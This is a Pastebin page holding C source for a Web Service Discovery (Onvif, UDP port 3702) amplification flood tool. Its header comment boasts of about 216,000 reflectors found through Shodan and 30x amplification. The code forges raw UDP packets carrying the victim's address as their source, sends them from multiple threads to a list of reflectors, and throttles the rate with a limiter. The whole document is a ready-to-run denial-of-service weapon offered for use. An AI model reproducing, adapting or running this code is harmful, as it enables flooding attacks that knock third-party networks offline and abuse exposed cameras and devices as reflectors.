Phenomite

WSD Onvif Amplification Attack Script [wsd.c]

Aug 1st, 2019
2,377
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.76 KB | None | 0 0
  1. /*-------------------------------
  2. Web Service Discovery (WSD) protocol amplification PoC.
  3. Onvif - Yet another bloody UDP insecure service, this time similar to other abused SOAP protocols but needing no trigger payload.
  4. Shodan showed 216,313 possible reflectors with the biggest number from Vietnam followed by United States.
  5. 30x Amp.
  6. Reflectors example: https://pastebin.com/XF8GDspa
  7. -------------------------------*/
  8. #include <time.h>
  9. #include <pthread.h>
  10. #include <unistd.h>
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <string.h>
  14. #include <sys/socket.h>
  15. #include <netinet/ip.h>
  16. #include <netinet/udp.h>
  17. #include <arpa/inet.h>
  18. #define MAX_PACKET_SIZE 8192
  19. #define PHI 0x9e3779b9
  20. static uint32_t Q[4096], c = 362436;
  21. static unsigned int DPORT = 3702;
  22. //would rather define for using puts
  23. static const char PAYLOAD[] = "<:/>";
  24. static unsigned int PAYLOADSIZE = sizeof(PAYLOAD);
  25.  
  26. struct list
  27. {
  28.     struct sockaddr_in data;
  29.     struct list *next;
  30.     struct list *prev;
  31. };
  32. struct list *head;
  33. volatile int tehport;
  34. volatile int limiter;
  35. volatile unsigned int pps;
  36. volatile unsigned int sleeptime = 100;
  37. struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  38.  
  39. void init_rand(uint32_t x)
  40. {
  41.     int i;
  42.     Q[0] = x;
  43.     Q[1] = x + PHI;
  44.     Q[2] = x + PHI + PHI;
  45.     for (i = 3; i < 4096; i++)
  46.     {
  47.         Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  48.     }
  49. }
  50.  
  51. uint32_t rand_cmwc(void)
  52. {
  53.     uint64_t t, a = 18782LL;
  54.     static uint32_t i = 4095;
  55.     uint32_t x, r = 0xfffffffe;
  56.     i = (i + 1) & 4095;
  57.     t = a * Q[i] + c;
  58.     c = (t >> 32);
  59.     x = t + c;
  60.     if (x < c) {
  61.         x++;
  62.         c++;
  63.     }
  64.     return (Q[i] = r - x);
  65. }
  66.  
  67. /* function for header checksums */
  68. unsigned short csum (unsigned short *buf, int nwords)
  69. {
  70.     unsigned long sum;
  71.     for (sum = 0; nwords > 0; nwords--)
  72.         sum += *buf++;
  73.     sum = (sum >> 16) + (sum & 0xffff);
  74.     sum += (sum >> 16);
  75.     return (unsigned short)(~sum);
  76. }
  77.  
  78. void setup_ip_header(struct iphdr *iph)
  79. {
  80.     iph->ihl = 5;
  81.     iph->version = 4;
  82.     iph->tos = 0;
  83.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOADSIZE;
  84.     iph->id = htonl(rand()%13370+1);
  85.     iph->frag_off = 0;
  86.     iph->ttl = MAXTTL;
  87.     iph->protocol = IPPROTO_UDP;
  88.     iph->check = 0;
  89.     iph->saddr = inet_addr("192.168.3.100");
  90. }
  91. void setup_udp_header(struct udphdr *udph)
  92. {
  93.     udph->source = htons(rand()%13370+80);
  94.     udph->dest = htons(DPORT);
  95.     udph->check = 0;
  96.     memcpy((void *)udph + sizeof(struct udphdr), PAYLOAD, PAYLOADSIZE);
  97.     udph->len=htons(sizeof(struct udphdr) + PAYLOADSIZE);
  98. }
  99. void *flood(void *par1)
  100. {
  101.     struct thread_data *td = (struct thread_data *)par1;
  102.     char datagram[MAX_PACKET_SIZE];
  103.     struct iphdr *iph = (struct iphdr *)datagram;
  104.     struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  105.     struct sockaddr_in sin = td->sin;
  106.     struct  list *list_node = td->list_node;
  107.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  108.     if(s < 0){
  109.         fprintf(stderr, "Could not open raw socket.\n");
  110.         exit(-1);
  111.     }
  112.     init_rand(time(NULL));
  113.     memset(datagram, 0, MAX_PACKET_SIZE);
  114.     setup_ip_header(iph);
  115.     setup_udp_header(udph);
  116.     udph->source = htons(rand()%13370+80);
  117.     iph->saddr = sin.sin_addr.s_addr;
  118.     iph->daddr = list_node->data.sin_addr.s_addr;
  119.     iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  120.     int tmp = 1;
  121.     const int *val = &tmp;
  122.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  123.         fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  124.         exit(-1);
  125.     }
  126.     init_rand(time(NULL));
  127.     register unsigned int i;
  128.     i = 0;
  129.     while(1){
  130.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  131.         list_node = list_node->next;
  132.         iph->daddr = list_node->data.sin_addr.s_addr;
  133.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  134.         iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  135.         pps++;
  136.         if(i >= limiter)
  137.         {
  138.             i = 0;
  139.             usleep(sleeptime);
  140.         }
  141.         i++;
  142.     }
  143. }
  144. int main(int argc, char *argv[ ])
  145. {
  146.     if(argc < 6){
  147.         fprintf(stdout, "%s hst prt ref thread lim time\n", argv[0]);
  148.         exit(-1);
  149.     }
  150.     srand(time(NULL));
  151.     int i = 0;
  152.     head = NULL;
  153.     fprintf(stdout, "Finding the yeet bois\n");
  154.     int max_len = 128;
  155.     char *buffer = (char *) malloc(max_len);
  156.     buffer = memset(buffer, 0x00, max_len);
  157.     int num_threads = atoi(argv[4]);
  158.     int maxpps = atoi(argv[5]);
  159.     limiter = 0;
  160.     pps = 0;
  161.     int multiplier = 20;
  162.     FILE *list_fd = fopen(argv[3],  "r");
  163.     while (fgets(buffer, max_len, list_fd) != NULL) {
  164.         if ((buffer[strlen(buffer) - 1] == '\n') ||
  165.             (buffer[strlen(buffer) - 1] == '\r')) {
  166.             buffer[strlen(buffer) - 1] = 0x00;
  167.             if(head == NULL)
  168.             {
  169.                 head = (struct list *)malloc(sizeof(struct list));
  170.                 bzero(&head->data, sizeof(head->data));
  171.                 head->data.sin_addr.s_addr=inet_addr(buffer);
  172.                 head->next = head;
  173.                 head->prev = head;
  174.             } else {
  175.                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
  176.                 memset(new_node, 0x00, sizeof(struct list));
  177.                 new_node->data.sin_addr.s_addr=inet_addr(buffer);
  178.                 new_node->prev = head;
  179.                 new_node->next = head->next;
  180.                 head->next = new_node;
  181.             }
  182.             i++;
  183.         } else {
  184.             continue;
  185.         }
  186.     }
  187. struct list *current = head->next;
  188. pthread_t thread[num_threads];
  189. struct sockaddr_in sin;
  190. sin.sin_family = AF_INET;
  191. sin.sin_addr.s_addr = inet_addr(argv[1]);
  192. struct thread_data td[num_threads];
  193. for(i = 0;i<num_threads;i++){
  194.     td[i].thread_id = i;
  195.     td[i].sin= sin;
  196.     td[i].list_node = current;
  197.     pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  198. }
  199. fprintf(stdout, "Yeeting\n");
  200. for(i = 0;i<(atoi(argv[6])*multiplier);i++)
  201. {
  202.     usleep((1000/multiplier)*1000);
  203.     if((pps*multiplier) > maxpps)
  204.     {
  205.         if(1 > limiter)
  206.         {
  207.             sleeptime+=100;
  208.         } else {
  209.             limiter--;
  210.         }
  211.     } else {
  212.         limiter++;
  213.         if(sleeptime > 25)
  214.         {
  215.             sleeptime-=25;
  216.         } else {
  217.             sleeptime = 0;
  218.         }
  219.     }
  220.     pps = 0;
  221. }
  222. return 0;
  223. }
Advertisement
Add Comment
Please, Sign In to add comment